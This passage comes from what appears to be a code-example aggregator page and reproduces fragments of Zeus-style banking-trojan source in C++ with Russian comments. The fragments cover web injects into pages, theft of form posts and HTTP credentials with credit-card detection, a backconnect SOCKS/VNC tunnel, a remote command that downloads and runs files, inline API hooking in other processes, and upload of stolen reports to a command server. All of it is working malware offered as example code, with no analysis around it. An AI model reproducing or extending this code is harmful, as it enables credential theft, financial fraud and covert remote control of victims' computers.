        LPBYTE newBuf  = (LPBYTE)Mem::alloc(newSize);

        if(newBuf != NULL) //Не обращаем внимание на ошибку.
        {
OutputDebugStringA("11");
          Mem::_copy(newBuf,                                  *context,                                           offsetBegin);
          Mem::_copy(newBuf + offsetBegin,                    (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
          Mem::_copy(newBuf + offsetBegin + blockNewDataSize, *context + offsetEnd,                               *contextSize - offsetEnd);

		WriteGrabberData("url1", *context, *contextSize);

          Mem::free(*context);
          *context     = newBuf;
          *contextSize = newSize;
		WriteGrabberData("url2", *context, *contextSize);

          changesCount++;
        }
      }
      //Сохранение.
      else if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
      {
        if(Mem::reallocEx(&grabbedData, grabbedDataSize + blockNewDataSize + matchedDataSize + 1/*\n*/ + 1/*\0*/)) //Не обращаем внимание на ошибку.
        {
          if(blockNewDataSize > 0)
          {
            Mem::_copy(grabbedData + grabbedDataSize, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
            grabbedDataSize += blockNewDataSize;
          }
          Mem::_copy(grabbedData + grabbedDataSize, *context + offsetBegin, matchedDataSize);

          if(curData->flags & HttpInject::FLAG_CAPTURE_NOTPARSE)grabbedDataSize += matchedDataSize;
          else grabbedDataSize += HttpTools::_removeTagsA((LPSTR)grabbedData + grabbedDataSize, matchedDataSize);

          grabbedData[grabbedDataSize++] = '\n';
          grabbedData[grabbedDataSize]   = 0;
        }
      }
    }

    //Пишим награбленное.
    if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
    {
      /*if(grabbedData == NULL)
      {
        grabbedDataSize = 35;
        grabbedData     = (LPBYTE)Str::_CopyExA("*NO MATCHES FOUND FOR CURRENT MASK*", grabbedDataSize);
      }*/

      if(grabbedData != NULL)
      {
        if(curData->flags & HttpInject::FLAG_CAPTURE_TOFILE)
        {
          char host[260];
          URL_COMPONENTSA uc;

          Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
          uc.dwStructSize     = sizeof(URL_COMPONENTSA);
          uc.lpszHostName     = host;
          uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

          if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
          {
			/*
            WCHAR file[MAX_PATH];
            SYSTEMTIME st;
            
            CWA(kernel32, GetSystemTime)(&st);            
            CSTR_GETW(decodedString, httpgrabber_inject_path_format);
            Str::_sprintfW(file, sizeof(file) / sizeof(WCHAR), decodedString, host, st.wYear - 2000, st.wMonth, st.wDay);
            Report::writeData(BLT_FILE, NULL, file, grabbedData, grabbedDataSize);
			*/
		    WriteGrabberData(url, grabbedData, grabbedDataSize);
          }
        }
        else
        {
          LPWSTR urlW = Str::_ansiToUnicodeEx(url, -1);
          if(urlW != NULL)
          {
            CSTR_GETW(decodedString, httpgrabber_inject_grabbed_format);
            Report::writeStringFormat(BLT_GRABBED_HTTP, urlW, NULL, decodedString, urlW, grabbedData);
            Mem::free(urlW);
          }
        }
        Mem::free(grabbedData);
      }
    }

    if(curData->blockOnUrl != NULL)
    {
      //Суточное ограничение.
      if(curData->flags & HttpInject::FLAG_ONCE_PER_DAY)
      {
        WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE];
        WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))];
        Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value);

        //Получаем хэш.
        BYTE hash[MD5HASH_SIZE];
        if(Crypt::_md5Hash(hash, curData->blockOnUrl, Str::_LengthA(curData->blockOnUrl)))
        {
          Str::_toHexW(hash, MD5HASH_SIZE, value);

          //Ставим значение.
          SYSTEMTIME curTime;
          CWA(kernel32, GetLocalTime)(&curTime);
          Registry::_setValueAsBinary(HKEY_CURRENT_USER, key, value, REG_BINARY, &curTime, sizeof(SYSTEMTIME));
        }
      }
      //Обычная блокировка.
      else
      {
#       if defined WDEBUG1
        WDEBUG1(WDDT_INFO, "Wating for blocking url [%S].", curData->blockOnUrl);
#       endif        
        
        CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs);
        Mem::free(blockInjectInfo.urlMaskForBlock);
        Mem::free(blockInjectInfo.blockOnUrl);
        blockInjectInfo.urlMaskForBlock =  Str::_CopyExA(curData->urlMask, -1);
        blockInjectInfo.blockOnUrl      =  Str::_CopyExA(curData->blockOnUrl, -1);
        CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs);
      }
    }
  }

  return (changesCount > 0);
}
Exemplo n.º 16
0
/*
  Поток для для создания тунеля.

  IN p   - BCTUNNELDATA.

  Return - 0.
*/
static DWORD WINAPI procTunnel(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);

  BCTUNNELDATA *bcTunnelData = (BCTUNNELDATA *)p;
  SOCKET service             = INVALID_SOCKET;
  SOCKET client              = INVALID_SOCKET;
  
  WDEBUG0(WDDT_INFO, "Started.");

  //Подключаемся к сервису.
  bool ok = false;
  if(bcTunnelData->servicePort == SERVICE_PORT_SOCKS)
  {
    ok = true;
  }
# if(BO_VNC > 0)
  else if(bcTunnelData->servicePort == SERVICE_PORT_VNC)
  {
    ok = true;
  }
# endif
  else
  {
    SOCKADDR_IN addr;
    addr.sin_family           = AF_INET;
    addr.sin_port             = SWAP_WORD(bcTunnelData->servicePort);
    addr.sin_addr.S_un.S_addr = 0x0100007F; //localhost

    if((service = WSocket::tcpConnect((SOCKADDR_STORAGE *)&addr)) != INVALID_SOCKET)
    {
      WSocket::tcpDisableDelay(service, true);
      ok = true;
    }
#   if(BO_DEBUG > 0)
    else WDEBUG1(WDDT_ERROR, "Failed to connect to local IPv4 port %u.", bcTunnelData->servicePort);
#   endif
  }

  //Подключаемся к серверу.
  if(ok == true && (client = WSocket::tcpConnectA(bcTunnelData->bcData->server, (WORD)Str::_ToInt32A(bcTunnelData->bcData->serverPort, NULL))) != INVALID_SOCKET)
  {
    WSocket::tcpDisableDelay(client, true);
    WSocket::tcpSetKeepAlive(client, true, Backconnect::KEEPALIVE_DELAY, Backconnect::KEEPALIVE_INTERVAL);

    if(Backconnect::_writeCommand(client, Backconnect::COMMAND_IS_SERVICE, (LPBYTE)&bcTunnelData->id, sizeof(DWORD)))switch(bcTunnelData->servicePort)
    {
      case SERVICE_PORT_SOCKS:
        Socks5Server::_start(client, 0);
        break;

#     if(BO_VNC > 0)
      case SERVICE_PORT_VNC:
        VncServer::start(client);
        break;
#     endif
      
      default:
        WSocket::tcpTunnel(client, service);
        break;
    }      
  }
    
  //Освобождение ресурсов.
  WSocket::tcpClose(client);
  WSocket::tcpClose(service);
  Mem::free(bcTunnelData);
  
  WDEBUG0(WDDT_INFO, "Stopped.");
  return 0;
}
Exemplo n.º 17
0
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData)
{
#if defined WDEBUG6
	WDEBUG6(WDDT_INFO,
		"requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].",
		requestData->handle,
		requestData->url,
		requestData->referer,
		requestData->contentType,
		requestData->verb,
		requestData->postDataSize
		);
#endif

	//SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == HttpGrabber::VERB_GET ? "GET" : "POST",requestData->

	DWORD retVal = 0;
	signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/;

	//Проверяем запрос по фильтру.
	if(requestData->currentConfig != NULL)
	{
		DWORD httpFilterSize;
		LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize);

		if(Str::_isValidMultiStringA(httpFilter, httpFilterSize))
		{      
			LPSTR curFilter = httpFilter;
			do if(curFilter[1] != 0)
			{ 
				//Опеределяем тип фильтра.
				char filterType;
				switch(curFilter[0])
				{
					case '$': filterType = 5; break; //Notify our server about request.
					case '!': filterType = 1; break; //Не писать в отчет,
					case '@': filterType = 2; break; //Screenshots
					default:  filterType = 0; break; //Принудительно писать в отчет.
				}
				if(filterType != 0)
					curFilter++;

				//Сравниваем URL.
				if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0))
				{
#if defined WDEBUG3
					WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType);
#endif

					switch(filterType)
					{
						case 0:
							{
								writeReport = 1;
								break;
							}
						case 1:
							{
								writeReport = 0;
								break;
							}
#if BO_KEYLOGGER > 0
						case 2:
						{
							char host[260];
							URL_COMPONENTSA uc;

							Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
							uc.dwStructSize     = sizeof(URL_COMPONENTSA);
							uc.lpszHostName     = host;
							uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

							if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
							{
								UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host);
							}
							break;
						}
#endif
						case 5:
							{
								retVal |= ANALIZEFLAG_NOTIFY_CC;
								break;
							}
					}
				}
			}
			while((curFilter = Str::_multiStringGetIndexA(curFilter, 1)));      
		}

		Mem::free(httpFilter);
	}

	//Проверяем тип содержимого.
	if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1))
	{
		if(CSTR_EQNA(requestData->contentType, CryptedStrings::len_httpgrabber_urlencoded - 1, httpgrabber_urlencoded) &&
			(requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || 
			requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0))
			retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED;
	}
	
	//Проверяем наличие HTTP-авторизации.
	LPWSTR authorizationData  = NULL;
	int authorizationDataSize = 0;
	if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0)
	{
		CSTR_GETW(format, httpgrabber_auth_normal);
		authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password);
	}
	else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0)
	{
		CSTR_GETW(format, httpgrabber_auth_encoded);
		authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType);
	}
	
	if(authorizationDataSize > 0)
	{
		retVal |= ANALIZEFLAG_AUTHORIZATION;
		
		// тут нужно проверять на дубли авторизации
	}
	
	//Опеределям нужно ли писать отчет.  
	{    
		if(writeReport == -1 && (requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)
			retVal |= ANALIZEFLAG_SAVED_REPORT;
		else if(writeReport == 1)
			retVal |= ANALIZEFLAG_SAVED_REPORT;
	}	
	
	if(retVal & ANALIZEFLAG_SAVED_REPORT)
	{
		LPSTR postData = NULL;
		bool ok = false;

		//Форматируем POST-запрос.
		if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED)
		{
			if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL)
			{
				for(DWORD i = 0; i < requestData->postDataSize; i++)
				{
					if(postData[i] == '&')postData[i] = '\n';
					else if(postData[i] == '+')postData[i] = ' ';
				}
			}
		}
		// we dont need empty reports
		//else if(requestData->contentTypeSize == 0 || requestData->postDataSize == 0)
		//{
		//	postData = NULL;
		//}

		//Формируем отчет.
		if(postData != NULL)
		{
			LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize);

			if(urlUnicode != NULL)
			{
				URL_COMPONENTSA uc;

				Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
				uc.dwStructSize = sizeof(URL_COMPONENTSA);

				if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE)
				{
					bool isCC = isThereCC(postData, requestData->postDataSize);
					LPWSTR reportString  = NULL;
					int reportSize = 0;
					CSTR_GETW(reportFormat, httpgrabber_report_format);
					LPWSTR userInput = NULL;
					LPWSTR referer = Str::_ansiToUnicodeEx(requestData->referer == NULL ? "-" : requestData->referer, -1);
#if BO_KEYLOGGER > 0
					UserHook::getInput(&userInput);
#endif
					reportSize = Str::_sprintfExW(&reportString, reportFormat, urlUnicode, referer, authorizationData == NULL ? L"" : authorizationData, userInput == NULL ? L"-" : userInput, postData);
					
					ok = Report::writeString(isCC == true ? BLT_REQUEST_WITH_CC : uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST, urlUnicode, reportString, reportSize);
					
					Mem::free(reportString);
					Mem::free(referer);
				}
				Mem::free(urlUnicode);
			}
			Mem::free(postData);
		}

		if(ok == false)
			retVal &= ~ANALIZEFLAG_SAVED_REPORT;
	}

	Mem::free(authorizationData);

	
	//Проверка на инжекты и фейки.
	if(checkRequestForInject(requestData))
	{
		retVal |= ANALIZEFLAG_URL_INJECT;
#if defined WDEBUG1
		WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount);
#endif
	}

	if(checkRequestForCapchas(requestData))
	{
		retVal |= ANALIZEFLAG_URL_CAPTCHA;
#if defined WDEBUG0
		WDEBUG0(WDDT_INFO, "Current URL detected as captcha request.");
#endif
	}


	if(retVal & ANALIZEFLAG_NOTIFY_CC)
	{
		if(BinStorage::_getItem(requestData->currentConfig, CFGID_NOTIFY_SERVER, BinStorage::ITEMF_IS_OPTION))
			Report::sendNotification(requestData->url);
	}

	//SpyEye_Modules::WebMainCallback(SpyEye_Modules::SM_FUNC_BEFOREPROCESSURL, requestData->url, requestData->verb == VERB_GET ? "GET" : "POST", requestData->headers, (LPSTR)requestData->postData, 0, 0);

END: 
	return retVal;
}
Exemplo n.º 18
0
/*В В The entry point for processing the script.

В В IN p - BinStorage:: STORAGE.

В В Return - 0.*/
static DWORD WINAPI scriptProc(void *p)
{
    CoreHook::disableFileHookerForCurrentThread(true);
    HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REMOTESCRIPT, MalwareTools::KON_GLOBAL);
    if(mutex == NULL)
    {
        WDEBUG0(WDDT_ERROR, "Failed.");
        return 1;
    }

    WDEBUG0(WDDT_INFO, "Started.");

    BinStorage::STORAGE *script = (BinStorage::STORAGE *)p;
    BinStorage::ITEM *curItem = NULL;
    LPBYTE currentHash;
    pendingFlags = 0;

    //Overview of scripts.
    while((curItem = BinStorage::_getNextItem(script, curItem)))if(curItem->realSize > MD5HASH_SIZE && (currentHash = (LPBYTE)BinStorage::_getItemData(curItem)) != NULL)
        {
            WDEBUG1(WDDT_INFO, "Founded script with size %u", curItem->realSize);

            //Data were obtained on a hash script.
            WORD errorMessageId = getScriptStatusByHash(currentHash);
            DWORD errorLine = (DWORD)-1;

            //Execution of the script.
            if(errorMessageId == 0)
            {
                LPWSTR scriptText = Str::_utf8ToUnicode((LPSTR)((LPBYTE)currentHash + MD5HASH_SIZE), curItem->realSize - MD5HASH_SIZE);
                if(scriptText == NULL)
                {
                    errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory;
                    WDEBUG0(WDDT_ERROR, "_utf8ToUnicode failed.");
                }
                else
                {
                    errorMessageId = executeScript(scriptText, &errorLine);
                }
                Mem::free(scriptText);
            }

            //Sending a response from the server.
            {
                BinStorage::STORAGE *config;
                if((config = DynamicConfig::getCurrent()))
                {
                    LPSTR url = (LPSTR)BinStorage::_getItemDataEx(config, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL);
                    Mem::free(config);

                    if(url && *url != 0)
                    {
                        Crypt::RC4KEY rc4Key;
                        {
                            BASECONFIG baseConfig;
                            Core::getBaseConfig(&baseConfig);
                            Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
                        }

                        SCRIPTDATA scriptData;
                        scriptData.errorMessageId = errorMessageId;
                        scriptData.errorLine      = errorLine;
                        scriptData.hash           = currentHash;

                        Report::SERVERSESSION serverSession;
                        serverSession.url         = url;
                        serverSession.requestProc = requestProc;
                        serverSession.resultProc  = resultProc;
                        serverSession.stopEvent   = NULL;//coreData.globalHandles.stopEvent; / / If we downloaded the update, then there is no time CHASSENEUIL post a reply.
                        serverSession.rc4Key      = &rc4Key;
                        serverSession.postData    = NULL;
                        serverSession.customData  = &scriptData;

                        Report::startServerSession(&serverSession);
                    }
                    Mem::free(url);
                }
            }

            Mem::free(currentHash);
        }

    Mem::free(script);
    executePendingCommands();
    WDEBUG0(WDDT_INFO, "Stopped.");
    Sync::_freeMutex(mutex);

    return 0;
}
Exemplo n.º 19
0
/*
  Execution of the script.

  IN scriptText - текст скрипта.
  OUT errorLine - строка на котроый произошла ошибка, или (DWORD)-1 если ошиюка произошла не на
                  строке.
  Return        - 0 - в случаи успеха,
                  CryptedStrings::id_* - случаи провала.
*/
static WORD executeScript(LPWSTR scriptText, LPDWORD errorLine)
{
    WORD errorMessageId = 0;
    LPWSTR *lines;
    DWORD linesCount = Str::_splitToStringsW(scriptText, Str::_LengthW(scriptText), &lines, Str::STS_TRIM, 0);
    //* ErrorLine = (DWORD) -1;

    if(linesCount == (DWORD)-1)
    {
        errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory;
        WDEBUG0(WDDT_ERROR, "_splitToStringsW failed.");
    }
    else
    {
        //Enumerate the rows.
        for(DWORD i = 0; i < linesCount; i++)if(lines[i] != NULL && lines[i][0] != 0)
            {
                LPWSTR *args;
                DWORD argsCount = Str::_getArgumentsW(lines[i], Str::_LengthW(lines[i]), &args, 0);

                if(argsCount == (DWORD)-1)
                {
                    errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory;
                    WDEBUG0(WDDT_ERROR, "_getArgumentsW failed.");
                    break;
                }
                else
                {
                    if(argsCount > 0)
                    {
                        WCHAR commandNameBuffer[CryptedStrings::len_max];

                        //Ischim team.
                        DWORD ci = 0;
                        for(; ci < sizeof(commandData) / sizeof(COMMANDDATA); ci++)
                        {
                            CryptedStrings::_getW(commandData[ci].nameId, commandNameBuffer);
                            if(CWA(kernel32, lstrcmpiW)(args[0], commandNameBuffer) == 0)
                            {
                                WDEBUG1(WDDT_INFO, "Executing command \"%s\".", commandNameBuffer);
                                if(!commandData[ci].proc(args, argsCount))
                                {
                                    WDEBUG1(WDDT_ERROR, "Command \"%s\" failed.", commandNameBuffer);
                                    errorMessageId = CryptedStrings::id_remotescript_error_command_failed;
                                    *errorLine   = i + 1;
                                }
                                break;
                            }
                        }

                        //If the command was not found.
                        if(ci == sizeof(commandData) / sizeof(COMMANDDATA))
                        {
                            WDEBUG1(WDDT_INFO, "Unknown command \"%s\".", args[0]);
                            errorMessageId = CryptedStrings::id_remotescript_error_command_unknown;
                            *errorLine   = i + 1;
                        }
                    }
                    Mem::freeArrayOfPointers(args, argsCount);
                }

                //If you found an error aborts the script.
                if(errorMessageId != 0)break;
            }
        Mem::freeArrayOfPointers(lines, linesCount);
    }

    return errorMessageId;
}
Exemplo n.º 20
0
static bool userExecute(const LPWSTR *arguments, DWORD argumentsCount)
{
    bool ok = false;
    if(argumentsCount > 1 && arguments[1][0] != 0)
    {
        WCHAR filePath[MAX_PATH];

        //URL.
        Str::UTF8STRING u8Url;
        if(CWA(shlwapi, PathIsURLW)(arguments[1]) == TRUE)
        {
            if(Str::_utf8FromUnicode(arguments[1], -1, &u8Url))
            {
                //Create a temporary directory.
                if(Fs::_createTempDirectory(NULL, filePath))
                {
                    //Obtain the file name.
                    //FIXME: Content-Disposition
                    LPWSTR fileName = HttpTools::_getFileNameFromUrl((LPSTR)u8Url.data);
                    if(fileName != NULL && Fs::_pathCombine(filePath, filePath, fileName))
                    {
                        //Download file.
                        Wininet::CALLURLDATA cud;
                        Core::initDefaultCallUrlData(&cud);

                        cud.pstrURL                   = (LPSTR)u8Url.data;
                        cud.hStopEvent                = coreData.globalHandles.stopEvent;
                        cud.DownloadData_pstrFileName = filePath;

                        WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", u8Url.data, filePath);
                        ok = Wininet::_CallURL(&cud, NULL);
                    }
#         if(BO_DEBUG > 0)
                    else WDEBUG0(WDDT_ERROR, "Failed to get file name.");
#         endif

                    Mem::free(fileName);
                }
#       if(BO_DEBUG > 0)
                else WDEBUG0(WDDT_ERROR, "Failed to create temp direcory.");
#       endif

                Str::_utf8Free(&u8Url);
            }
        }
        //Local path. Converting variables.
        else
        {
            DWORD size = CWA(kernel32, ExpandEnvironmentStringsW)(arguments[1], filePath, MAX_PATH);
            if(size > 0 && size < MAX_PATH)ok = true;
        }

        //Zapsuk file.
        if(ok)
        {
            LPWSTR commandLine = NULL;
            if(argumentsCount > 2 && (commandLine = Str::_joinArgumentsW(arguments + 2, argumentsCount - 2)) == NULL)
            {
                ok = false;
            }
            else
            {
                WDEBUG1(WDDT_INFO, "commandLine=[%s]", commandLine);
                //Start.
                ok = (((int)CWA(shell32, ShellExecuteW)(NULL, NULL, filePath, commandLine, NULL, SW_SHOWNORMAL)) > 32);

                //Well the point is ... It's worth a try.
                if(!ok)ok = (Process::_createEx(filePath, commandLine, NULL, NULL, NULL) != 0);

                Mem::free(commandLine);
            }
        }
    }
    return ok;
}
Exemplo n.º 21
0
DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback)
{
  DWORD retVal = 0;

  DWORD oldProtect;
  DWORD_PTR avalibeBytes = checkAvalibleBytes(process, functionForHook);

  //Даем все права затрагиваемым страницам.
  if(avalibeBytes >= OPCODE_MAX_SIZE * 2 && CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, PAGE_EXECUTE_READWRITE, &oldProtect) != 0)
  {
    //Считываем старый код.
    BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE];
    Mem::_set(buf, (char)0x90, sizeof(buf));/*параноя*/

    if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END;

    //Читаем опкоды, пока их суммарная длина не достигнит INJECT_SIZE.
    DWORD_PTR opcodeOffset = 0;
    for(;;)
    {
      LPBYTE currentOpcode = buf + opcodeOffset;
      DWORD currentOpcodeLen = Disasm::_getOpcodeLength(currentOpcode);

      //Неизвестный опкод.
      if(currentOpcodeLen == (DWORD)-1)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Bad opcode detected at offset %u for function 0x%p", opcodeOffset, functionForHook);
        #endif

        goto END; 
      }

      opcodeOffset += currentOpcodeLen;

      if(opcodeOffset > sizeof(buf) - JMP_ADDR_SIZE)
      {
        #if defined(WDEBUG2)
        WDEBUG2(WDDT_ERROR, "Very long opcode detected at offset %u for function 0x%p", opcodeOffset - currentOpcodeLen, functionForHook);
        #endif
        
        goto END; 
      }
      
      //Отностиельные call и jmp.
      if((currentOpcode[0] == 0xE9 || currentOpcode[0] == 0xE8) && currentOpcodeLen == 1 + sizeof(DWORD)) //FIXME: не уверен для x64.
      {
#       if defined(WDEBUG0)
        WDEBUG1(WDDT_INFO, "Relative JMP/CALL(%02X) detected.", currentOpcode[0]);
#       endif

        DWORD *relAddrSet = (DWORD *)(currentOpcode + 1);
        DWORD_PTR to = (*relAddrSet) + ((DWORD_PTR)functionForHook + opcodeOffset);
        *relAddrSet = (DWORD)(to - ((DWORD_PTR)originalFunction + opcodeOffset));
      }
      
      if(opcodeOffset >= INJECT_SIZE)break;
    }

    //Сохраняем оригинальные опкоды в originalFunction.
    {
      //Дописываем в конец буфера, jump на продолжение functionForHook.
      LPBYTE pjmp = buf + opcodeOffset;
      WRITE_JMP(pjmp, originalFunction/* + opcodeOffset*/, functionForHook/* + opcodeOffset*/);
      if(CWA(kernel32, WriteProcessMemory)(process, originalFunction, buf, opcodeOffset + JMP_ADDR_SIZE, NULL) == 0)goto END;
    }

    //Пишим инжект в функцию.
    {
      WRITE_JMP(buf, functionForHook, hookerFunction);
      hotPatchCallback(functionForHook, originalFunction);
      if(CWA(kernel32, WriteProcessMemory)(process, functionForHook, buf, INJECT_SIZE, NULL) == 0)goto END;
    }

    retVal = opcodeOffset + JMP_ADDR_SIZE; //Размер вырезаного фрагмента.

END:
    //Восстаналиваем права.
    CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, oldProtect, &oldProtect);
  }
  
  return retVal;
}
Exemplo n.º 22
0
static DWORD WINAPI defaultSender(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  SENDERDATA *senderData = (SENDERDATA *)p;
  
  HANDLE mutex = Core::waitForMutexOfObject(senderData->threadType == DEFAULTSENDER_REPORT ? Core::OBJECT_ID_SERVER_SESSION_REPORT : Core::OBJECT_ID_SERVER_SESSION_STATUS, MalwareTools::KON_GLOBAL);
  if(mutex == NULL)
  {
    WDEBUG1(WDDT_ERROR, "Failed, %u.", senderData->threadType);
    Mem::free(senderData);
    return 1;
  }

  //Насатраиваем данные сессии.
  Report::SERVERSESSION serverSession;
  Crypt::RC4KEY rc4Key;
  
  serverSession.requestProc = defaultSenderRequestProc;
  serverSession.resultProc  = defaultSenderResultProc;
  serverSession.stopEvent   = coreData.globalHandles.stopEvent;
  serverSession.rc4Key      = &rc4Key;
  serverSession.customData  = senderData;

  //Получем таймауты.
  DWORD normalDelay;
  DWORD errorDelay;
  DWORD maxDelay;
  {
    BASECONFIG baseConfig;
    Core::getBaseConfig(&baseConfig);
    Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
    
    switch(senderData->threadType)
    {
      case DEFAULTSENDER_REPORT:
        normalDelay = HIWORD(baseConfig.delayReport);
        errorDelay  = LOWORD(baseConfig.delayReport);
        break;
    
      case DEFAULTSENDER_STATUS:
        normalDelay  = HIWORD(baseConfig.delayStats);
        errorDelay   = LOWORD(baseConfig.delayStats);
        break;
    }

    normalDelay *= 60 * 1000;
    errorDelay  *= 60 * 1000;
    maxDelay     = max(normalDelay, errorDelay);
    
    Mem::_zero(&baseConfig, sizeof(BASECONFIG));
  }
  
  //Запуск.
  BYTE loopResult;
  WCHAR tempFile[MAX_PATH];

  tempFile[0] = 0;
  
  WDEBUG1(WDDT_INFO, "Started, %u.", senderData->threadType);
  if(Core::isActive())do
  {
    loopResult = DSR_WAIT_DATA;

    //Проверяем наличие отчетов.
    if(senderData->threadType == DEFAULTSENDER_REPORT)
    {
      initReportFile(false, tempFile[0] == 0 ? tempFile : NULL);
      if(!findReportFileForSending(senderData->reportFile, tempFile, maxDelay))continue;
      
      //Проверяем файл.
      {
        DWORD64 fileSize = Fs::_getFileSizeEx(senderData->reportFile);
        if(fileSize == (DWORD)(-1) || fileSize > 0xFFFFFFFF)
        {
          Fs::_removeFile(senderData->reportFile);
          WDEBUG1(WDDT_WARNING, "Removed \"%s\".", senderData->reportFile);
          continue;
        }
      }
      
      WDEBUG1(WDDT_INFO, "Founded \"%s\".", senderData->reportFile);

      //Перемещаем во временный файл.
      if(CWA(kernel32, lstrcmpiW)(senderData->reportFile, tempFile) != 0)
      {
        HANDLE reportMutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REPORTFILE, MalwareTools::KON_GLOBAL);
        if(reportMutex == NULL)
        {
          WDEBUG0(WDDT_ERROR, "Mutex failed.");
          continue;
        }

        if(CWA(kernel32, MoveFileExW)(senderData->reportFile, tempFile, MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH) == FALSE)
        {
          WDEBUG2(WDDT_ERROR, "Failed to move file \"%s\" => \"%s\".", senderData->reportFile, tempFile);
          continue;
        }
        
        Sync::_freeMutex(reportMutex);
        Str::_CopyW(senderData->reportFile, tempFile, -1);
      }
    }
    
    //Создаем сессию.
    BinStorage::STORAGE *binStorage = DynamicConfig::getCurrent();
    if(binStorage != NULL)
    {
      serverSession.url = (LPSTR)BinStorage::_getItemDataEx(binStorage, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL);
      Mem::free(binStorage);
      if(serverSession.url != NULL)
      {
        serverSession.postData = NULL;
        if(Report::addBasicInfo(&serverSession.postData, Report::BIF_BOT_ID))
        {
          senderData->storage.file = INVALID_HANDLE_VALUE;
          loopResult = Report::startServerSession(&serverSession) ? DSR_SENDED : DSR_ERROR;
          BinStorage::_closeStorageArray(&senderData->storage);
          Mem::free(serverSession.postData);
        }
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "CFGID_URL_SERVER_0 is empty.");
#     endif
      Mem::free(serverSession.url);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_WARNING, "Configuration not founded.");
#   endif
  }
  while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, loopResult == DSR_ERROR ? errorDelay : (loopResult == DSR_SENDED ? normalDelay : 30000)) == WAIT_TIMEOUT);

  WDEBUG1(WDDT_INFO, "Stopped, %u.", senderData->threadType);
  Sync::_freeMutex(mutex);
  Mem::free(senderData);

  return 0;
}
Exemplo n.º 23
0
/*
	Проверка запроса на необходимость инжекта.

	IN OUT requestData - запрос.

	Return             - true - инжекты применины,
	false - инжекты не применены
*/
static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData)
{
	if(requestData->currentConfig == NULL)return false;

	DWORD listSize;
